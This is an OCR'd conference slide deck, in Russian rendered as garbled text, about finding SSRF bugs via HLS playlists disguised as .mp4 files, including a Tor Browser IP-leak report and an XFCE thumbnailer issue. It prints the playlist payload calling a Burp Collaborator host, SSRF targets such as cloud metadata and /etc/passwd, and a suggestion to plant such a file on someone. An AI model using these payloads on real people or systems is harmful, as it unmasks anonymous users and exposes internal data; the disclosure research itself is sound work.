WcTopua opgHoro CVE

NN Kak B3riomaTb xakepa Ha Kali Linux
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”” §yscont #0: Whoami

Murat (@manfromkz)
Blog/channel: ,
Achievements: OSCP, eWPTXv2, eCPTXv2

Researches: CVE-2020-29139, CVE-2020-29140, CVE-2020-29142,
CVE-2020-29143, CVE-2021-34187, CVE-2022-29938,
CVE-2022-29939, CVE-2022-29940


https://murat.one
https://t.me/onebrick

SE W e
” sCont #1: Y10 Takoe CVE?

CVE (anHrn. Common Vulnerabilities and Exposures) - 6asa
LaHHbIX 06WEeN3BECTHbIX YA3BUMOCTEWN MHGOpMaLMOHHOM
6e30MacHoOCTMU. Kaxgown YA3BUMOCTU npucBamBaeTCs

naoeHTudmMKaunoHHeln Homep Buga CVE-ropo-Homep, onucaHme wn psafg
06WenoCTYMNHbIX CCbISIOK C OMMUCAHUEM.

Nopopnepxkon CVE 3aHuMMmaeTcaA opraHuszauma MITRE.

dnHaHcupoBaHuem npoekTta CVE 3aHumaeTca US-CERT.


https://ru.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures

7 e #2: Basa CVE

Monck CVE -

Search Results
There are 73 CVE Records that match your search.

Name Description

CVE-2022-31160 jQuery Ul is a curated set of user interface interactions, effects, widgets, and themes built on top of jQuery. Versions prior to 1.13.2 are
potentially vulnerable to cross-site scripting. Initializing a checkboxradio widget on an input enclosed within a label makes that parent label
contents considered as the input label. Calling " .checkboxradio( "refresh" )* on such a widget and the initial HTML contained encoded HTML
entities will make them erroneously get decoded. This can lead to potentially executing JavaScript code. The bug has been patched in jQuery UI
1.13.2. To remediate the issue, someone who can change the initial HTML can wrap all the non-input contents of the "label” ina “span’.

CVE-2022-31147 The jQuery Validation Plugin (jquery-validation) provides drop-in validation for forms. Versions of jquery-validation prior to 1.19.5 are
CVE-2022-31147/ J Y gin (Jquery p p Jquery P
vulnerable to regular expression denial of service (ReDoS) when an attacker is able to supply arbitrary input to the url2 method. This is due to
an incomplete fix for CVE-2021-43306. Users should upgrade to version 1.19.5 to receive a patch.

CVE-2022-25495 The component /jquery_file_upload/server/php/index.php of CuppaCMS v1.0 allows attackers to upload arbitrary files and execute arbitrary
code via a crafted PHP file.

CVE-2022-23395 jQuery Cookie 1.4.1 is affected by prototype pollution, which can lead to DOM cross-site scripting (XSS).

CVE-2022-2144 The Jquery Validation For Contact Form 7 WordPress plugin before 5.3 does not have CSRF check in place when updating its settings, which
could allow attackers to make a logged in admin change Blog options like default_role, users_can_register via a CSRF attack

CVE-2021-44030 Quest KACE Desktop Authority before 11.2 allows XSS because it does not prevent untrusted HTML from reaching the jQuery.htmlPrefilter
method of jQuery.

CVE-2021-43956 The jQuery deserialize library in Fisheye and Crucible before version 4.8.9 allowed remote attackers to to inject arbitrary HTML and/or


https://cve.mitre.org/cve/search_cve_list.html

) #3: YTo Takoe SSRF?

22

SSRF (aHrn. Server-Side Request Forgery) - oTnpaBka
NPON3BOJIbHbIX 3aMpoOCOB OT MMEHW CcepBepa.

[lpnmMepdl :

CanT, nosBonfAwwWMM BCTaBUTb/3arpysuTb KapTuHKY no URL

Cant-aHoHMMan3ep
UMnopT paTtacetoB 4epe3 URL
CKpunT OnAa redHepauuu npesbiowek no URL

etc.

ATakywumn => YAsBuMbIN cepBep => 3anpoc Ha [pyrom cepsep OT
UMEHN YA3BUMOIrO cepBepa

aprwON=-



) #4: B uem Bpepn SSRF?
OyeHb 4acTo SSRF nosBonsieT oOTNpaBNATb  3anpoc “BO
BHYTPSIHKY " :
http://127.06.0.1/backups/backup.zip
gopher://127.0.0.1:11211/_%0d%0adelete%20ssrf%0d%0a
http://169.254.169.254/1latest/meta-data/
file:///etc/passwd

Gopherus -


https://github.com/tarunkant/Gopherus

SE W e
fscog; #5: C yero Bce Havanocb?

1. bbln nonyyeH MPOEKT Ha MeHTecCT
2. B npoekTe ecTb ¢yHKUMOHanN obpaboTkM BUAeo-pannos
3. B ocTanbHOM ¢yHKUMOHaN 06bl4YHbIN CRUD

Jlormka Ha BuA npoctaa. avi, mpeg, mov, flv, etc. => mp4



#6: [louck BeKTOpa

GO 9|€ ffmpeg exploit

https://github.com » tree » master» CV... - Ocbl 6eTTi ayaap
ffmpeg HLS exploit - GitHub

Byn 6eT Typanbl aknapar XokK.

CebebiH aHbIKTay

https://www.ffmpeg.org » security ¥ Ocbl 6eTTi aygap
FFmpeg Security

Please report vulnerabilities to ffimpeg-security@ffmpeg.org. FFmpeg 5.1. 5.1.1. Fixes
following vulnerabilities:




\aééé-}; #7 . HanpeHHble maTepuaisl

1. FFmpeg HLS vulnerability -
https://github.com/swisskyrepo/PayloadsAllTheThings/tree
/master/Upload%20Insecure%20Files/CVE%20F fmpeg%20HLS

2. TikTok: External SSRF and Local File Read via video
upload - https://vulners.com/hackerone/H1:1062888



https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
https://vulners.com/hackerone/H1:1062888

/” §yscont #8: lepBaa nonbTKa

1. Cospaem test.avi ¢amn c TakuMm copepxaHUeM :

#EXTM3U
#EXT-X-MEDIA-SEQUENCE :©
#EXTINF :10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST

2. 3arpyxaem Ha cepsep

3. Xpewm



NCifoeen
/scon #9: lepBaa nonbiTka. Pe3ynbTaT

Monyuyaem DNS/HTTP sanpocbkl Ha Haw cepBep (Burp Collaborator):

Poll every | 60 seconds Poll now

Time Type Payload
2022-Jul-29 20:38:23 UTC DNS c8lw2v29fkxbd4xSednadmijt9kfe33
2022-Jul-29 20:38:24 UTC HTTP c8lw2v29fkxbd4xSednadmijt9kfe33
2022-Jul-29 20:40:02 UTC HTTP c8lw2v29fkxbd4xSednadmijt9kfe33
2022-Jul-29 20:40:02 UTC HTTP c8lw2v29fkxbd4xSednadmijt9kfe33
2022-Jul-29 20:40:02 UTC DNS c8lw2v29fkxbd4xSednadmijtOkfe33
2022-Jul-29 20:40:03 UTC HTTP c8lw2v29fkxbd4xSednadmijtokfe33
2022-Jul-29 20:40:03UTC HTTP c8lw2v29fkxbd4xSednadmit9kfe33

Description Request to Collaborator Response from Collaborator

e B




Wy
/scon #10: [llepBaa nonbiTKa. ®uHan?

1. [JOBOMbHLIK NMwWy oOT4YeT O HaumpgeHHoM SSRF
2. [JnAa pacuupeHua ckKoyna, pewaw npoeeputb IP, C KoOToporo

npwunneTtest 3anpoc.

Almaty

@ [[SH 0
lon Code: ALA
ion Name: Almaty
untry Code: KZ
Country Name: Pa d}h stan
Latitude: qQ
Longltude:

-
R
s
™
“ -




\éééégr; #11: lepBaa nonbiTKa. deun

IP okazancsa monm :(




N~/ \
\/ OCPENf
sCon

#12: BTopaa nonbiTKa

GStreamer souphttpsrc 1.18.4 libsoup/2.72.0

32 2022-Jul-29 20:40:03 UTC HTTP

c8lw2v29fkxbd4x5ednad4mijt9kfe33
33 2022-Jul-29 20:40:03 UTC HTTP

c8lw2v29fkxbd4xSednadmijt9kfe33

Description Request to Collaborator

mHex = \n =

Response from Collaborator

1
i

/ HTTP/1

m O




GO gle GStreamer firefox X ) Q

Q Bapnbifbl [ Cyper [ Benne Q) Kapra ¢ backa Kypangap

LLlamameH 375 000 HaTuxe (0,35 cekyHL)

https://bugzilla.mozilla.org » show bug ¥ Ocbl 6eTTi aygap

794282 - Enable GStreamer in official builds - Bugzilla@Mozilla

Case: User wants to view a video they have accessed on Firefox mobile and synced with

Firefox Sync onto their desktop. One scenario they can play it, another ...

https://wiki.mozilla.org » Test Plan ¥ Ocbl 6eTTi ayoap

Gstreamer 1.0 - MozillaWiki
Feature, Status, Release Target, Dev Lead, QA Lead, QA Status. Gstreamer 1.0, Landed,
Firefox 31, Alessandro Decina, Bogdan Maris, Signed Off ...

https://bugzilla.mozilla.org » show bug - Ocbl 6eTTi ayaap

1234092 - Remove gstreamer support - Bugzilla@Mozilla
Gstreamer has never been compatible with MSE; only plain mp4. YouTube has removed
support for HD content without MSE in Firefox 41 unless you had MSE or Flash ( ...




WA &
fscog; #13: BTopaa nonbiTka. Payload

Cospaw test.mp4 u oTKpbiBaw B Firefox:

,_—( kali® kali)-[~/Desktop/test]
5 cat test.mpé

HEXTM3U

HEXT-X-MEDIA-SEQUENCE: 0

HEXTINF:10.0,

http://pun908omlxjozhjidq9nqz56vxlosch.burpcollaborator.net/kali.mp4
BEXT-X-ENLIST

[:—(kaliﬁskali)—[~/Desktop/test]
i 1



#14: BTopaa nonbiTKa. bUHro

Poll every | 60 seconds Poll now

# Time Type Payload Comment

40 2022-Jul-29 21:06:52 UTC DNS pun9o8om1ixjozhji0q9ngz56vxlosch
41 2022-Jul-29 21:06:52 UTC DNS pun9o8omixjozhjioq9nqz56vxiosch
42 2022-Jul-29 21:06:52 UTC HTTP pun9o8om1ixjozhji0q9ngz56vxiosch
43 2022-Jul-29 21:06:53 UTC DNS pun9o8om1ixjozhjiogonqzS6vxiosch
44 2022-Jul-29 21:06:53 UTC DNS pun9o8omixjozhji0q9nqzS6vxiosch
45 2022-Jul-29 21:06:53 UTC HTTP pun9o8om1ixjozhji0q9ngz56vxiosch
46 2022-Jul-29 21:06:54 UTC DNS pun9o8om1xjozhji0q9nqzS6vxiosch

Description Request to Collaborator Response from Collaborator
| Raw T = INSPECTOR

reamer souphttpsrc 1.20. ik ip/3.0. Request Attributes

Request Headers (5)




A
d = #15: BTopaa nonbiTka. TecThl

22

OTpaboTan Ha Firefox ESR, Kali Linux
OTpaboTan Ha TOR Browser, Kali Linux
He oTpa6oTtan Ha Firefox, Windows

He oTpa6boTan Ha Google Chrome, Windows

~ArWON=-

BoiaicHAeTcss, 4To TOR Browser 3a ocHoBy B3sn Firefox ESR.



SZ?

OPEN
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#16: BTopaa nonbiTka. Hackerone

Tor

Anonymity Online

https://www.torproject.org/ - @torproject

$200-$250

Submit report

R . U N P P T

Policy = Hacktivity Thanks Updates(0) Collaborators

Rewards

@ Critical
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<m  #17: BTopaa nonbiTka. Hackerone. Report

22

m SSRF with real IP address leakage is possible when mp4 file is opened through file:// prot
ocol

ADD HACKER SUMMARY

manfromkz

Summary:

Problem appears when malicious m3u8 playlist file is renamed to .mp4 file and opened by TOR user. Despite

of connection to the TOR network, it will leak the real IP address of user.

Works on the latest Kali Linux with fresh TOR installation (also works for latest Firefox ESR):
sudo apt install -y tor torbrowser-launcher

In Windows it is not worked.

Steps To Reproduce:

1. Open the Burp Collaborator and generate URL (or just use your own server, like python3 -m http.server
8888 )
2. Create test.mp4 file with this content:




) Problem loading page

C

s

File Edit

<4»

x +

@ file:/llhomelkali/Desktop/test.mp4

creds.txt

#EXTM3U

1

Access to the file was denied

The file at /home/kali/Desktop/test.mp4 is not readable.
« It may have been removed, moved, or file permissions may be preventing access.

~[Desktop/test.mp4 - Sublime Text (UNREGISTERED)
Selection Find View Goto Tools Project Preferences Help

testmp4

#EXT-X-MEDIA-SEQUENCE:©
#EXTINF:10.0,
http://00p0z5exed4vp7pioiktgasjogfm5
au.oastify.com

#EXT-X-ENLIST

@ Click "Copy to clipboard" to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from usi

Number to generate: Copy to clipboard Include Collaborator server location

laborato

Poll every 60 seconds = Poll now

Time Type Payload Comment
2022-Jun-28 13:03:20 UTC DNS
2022-Jun-28 13:03:20 UTC DNS
2022-Jun-28 13:03:21 UTC HTTP
2022-Jun-28 13:03:21 UTC DNS
2022-Jun-281 DNS
2022-Jun-2813: HTTP

2022-Jun-28 13:03:21 UTC DNS

00p0z5exedvp7pioiktgasjogfmSau
00p0z5exe4vp7pioiktgasjogfmSau
00p0z5exedvp7pioiktgasjogfmSau
00p0z5exe4vp7pioiktgasjogfmSau
00p0z5exe4vp7pioiktgasjogfmSau
00p0z5exe4vp7pioiktgasjogfmSau
00p0z5exe4vp7pioiktgasiogfmSau

Description Request to Collaborator Response from Collaborator

Raw H

1 GET / HTTP/1.1

2 User-Agent: GStreamer souphttpsrc 1.20.1 libsoup/3.0.6

3 Accept-Encoding: identity

4 Connection: Keep-Alive

S Host: o0pOzSexedvp7pioiktgasjogfmSau.oastify.com
icy-metadata: 1

Extended Support Release

Tor Browser is up to date

11.0.14 (based on Mozilla Firefox 91.10.0esr) (64-bit)

Tor Browser Help Submit Feedback

Tor Browser is developed by the Tor Project, a nonprofit working to

defend your privacy and freedom online. [}

Want to help? Donate or get involved!

Questions? Help the Tor Network Grow!

Licensing Information



e #18: Bropas mombiTka. Hackerone. Reply

manfromkz posted a comment

Works also for . mp3 extension

manfromkz

Any updates? :)

JekKo

Hello!

As this works for vanilla Firefox ESR as well, did you already file a bug at Mozilla's bug tracker? If not please do
so and link the ticket in this report. What happens if you click on the file in Tor Browser, downloading it from a
remotelocation (that is if you are notusing file:///)? Are you bypassing Tor in that case, too? If so, could you

give us steps to reproduce for that scenario as well?




i = #19: BTopada nonbiTka. Wat?

1. PapoCTHBIM nMuwy OTBETbl Ha BOMpochl coTpygHuka TOR-a

2. [llpoBepsib NpensloOXeHHbIE KEUCHI
3. W TyT npunetaet DNS/HTTP 3anpoc npu 3aKpbLiTOM 6paysepe




\éééégr; #20: BTtopasa nonbiTka. deun

1. [Jleno He B npoekTe
2. [Jleno He B 6paysepe




/” §yscont #21: TpeTba nonbiTKa

leno He B npoekTe
[leno He B 6pay3sepe

N =

Buaumo peno B AeCKTOMHOM MeHepaxepe Kali Linux.

Mo ymonyaHumiw B Kali Linux ctout XFCE.



XF* #22: Tpetbsa nonbiTKa. Kali Linux 2022.2

[:—(kaliﬁskali)—[~/Desktop/test]
S echo $XDG_CURRENT_DESKTOP
XFCE

E—( kali® kali)-[~/Desktop/test]
S uname -a
Linux kali 5.16.0-kali7-amd64 #1 SMP PREEMPT Debian 5.16.18-1kalil (20:

[__( kali® kali)—[~/. About the Xfce Desktop Environment o
S xfce4-about

System  About  Credits  Deblan  Copyright
(xfce4-about:1979): R added to the

OS5 Name  Kali GNU/Unux Rolling
(xfce4-about:1979): - Type 64-bit added to the
Xfce Versk 416

D Illilm tribator Dedlan

e U Intel® Core™ I5-8265U CPU @ 1.60GHZ = 2

ry 58GB

I livmpipe (LLVM 13.0.1, 256 bits) (5.8 GIB)



Cospaem ¢ann:

[:—(kaliGBkali)-[~/Desktop/test]
$ cat test.mpé4

HEXTM3U

HEXT-X-MEDIA-SEQUENCE:0

#HEXTINF:10.0,
http://pun908omlxjozhji0dq9nqz56vxlosch.burpcollaborator.net/kali.mp4

HEXT-X-ENLIST

[:—(Ealigskali)—[~/Desktop/test]
$



OTKpbIBAaeM AUPEKTOPUI0 C dansom:




Poll every | 60 seconds

8
40
41
42
43
44
4s
46

Time

2022-Jul-29 21:06:52 UTC
2022-Jul-29 21:06:52 UTC
2022-Jul-29 21:06:52 UTC
2022-Jul-29 21:06:53 UTC
2022-Jul-29 21:06:53 UTC
2022-Jul-29 21:06:53 UTC
2022-Jul-29 21:06:54 UTC

Poll now

Type
DNS
DNS
HTTP
DNS
DNS
HTTP
DNS

Payload

pun9o8om1xjozhji0q9ngz56vxlosch
pun9o8omixjozhji0q9nqz56vx1osch
pun9o8omixjozhji0q9nqz56vxiosch
pun9o8omixjozhjiog9nqzS6vxlosch
pun9o8omixjozhji0q9nqzS6vxiosch
pun9o8omixjozhji0q9nqzS6vxlosch
pun9o8om1ixjozhii0g9nqzS6vxiosch

Comment

Description

Request to Collaborator

- B8 v

Response from Collaborator

INSPECTOR

Request Attributes

Request Headers (5)




Vew  #23: TpeTba nonbiTka. Debian 11.4 XFCE

22
user@debian:~$ uname -a

Linux debian 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86 64 GNU
/Linux

About the Xfce Desktop Environment

System About Credits Debian Copyright bd to the action

debian

Debian GNU/Linux 11 (bullseye) ed to the action
64-bit

4.16

Debian

Intel® Core” i5-8265U CPU @ 1.60GHz X 2
3.8 GiB
llvmpipe (LLVM 11.0.1, 256 bits) (3.8 GiB)




Cospnaem ¢ann:

user@debian:~/Desktop/test$ cat xfce.mp4d

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:©

#EXTINF:10.0,
http://c8lw2v29fkxbd4x5ednadmjt9kfe33.burpcollaborator.net/xfce.mp4
#EXT-X-ENDLIST

user@debian:~/Desktop/test$ |




OTKpbIBaeM pgupekTopui ¢ Gansiom:

L
File Edit View Go Help
Trash
\ Q ) /home/user/Desktop/test/
Places
. M. Computer
File System
=% Trash
a4
!- Devices

File System
VBox_GAs 6.... &

Home




Poll every | 60 seconds Poll now

# Time Type Payload Comment
27 2022-Jul-29 20:38:23 UTC DNS c8lw2v29fkxbd4xSednadmijtokfe33
28 2022-Jul-29 20:38:24 UTC HTTP c8lw2v29fkxbd4xSednadmijtokfe33
29 2022-Jul-29 20:40:02 UTC HTTP c8lw2v29fkxbd4xSednadmijtokfe33
30 2022-Jul-29 20:40:02 UTC HTTP c8lw2v29fkxbd4xSednadmijtokfe33
31 2022-Jul-29 20:40:02 UTC DNS c8lw2v29fkxbd4xSednadmijtOkfe33
32 2022-Jul-29 20:40:03 UTC HTTP c8lw2v29fkxbd4xSednadmijtokfe33
33 2022-Jul-29 20:40:03UTC HTTP c8lw2v29fkxbd4xSednadmijtokfe33

Description Request to Collaborator Response from Collaborator

B Hex ' J— INSPECTOR

"¢
ent:

¢xbd4xS5ednad4mijt9kfell burg llaborator.net Request Attributes

Request Headers (4)
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sCont #24: TpeTba nonbiTKa. Report

boin co3paH issue B Gitlab XFCE -
[Baxabl 3anpoweH CVE ot MITRE

OauH pas 3anpoweH CVE ot Debian B IRC
HanucaH write-up nocne ¢umkca 6bara -


https://gitlab.xfce.org/xfce/tumbler/-/issues/65
https://murat.one/?p=187

~/\
P d OCPENf
sCon
— 22

—
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#25: TpeTbAa nonbiTKa. Success

CVE Tak ”n He 6bl1 NpUCBOEH
MITRE ckopee Bcero umrHopupyet, MOTOMY 4YTO cUMTaeT

oTBeTCTBEeHHbM Debian

3. Ho 6ar wucnpaBieH,

MnoJjib3a BHECEHA - SUCCESS




Yﬁf #26: BoiBOAb

1. MoxHO cdopmmpoBaTb BPELOHOCHbLIM mMp4 ¢ann N CKUHYTb XaKepy
2. Ecnn xakep ckayaeT M OTKPOET AOUPEKTOPUI C 3TuUM mp4, paxe
He oTKpbiBasa cam ¢aun, ymaetT HTTP-3anpoc OT MMeHM XakKepa

9
"




boHyC #1:

MPC HC

Media player

for Windows

Features & Shortcuts







N End

N
22

Bonpocshl?

Cnacubo 3a BHMMaHue!



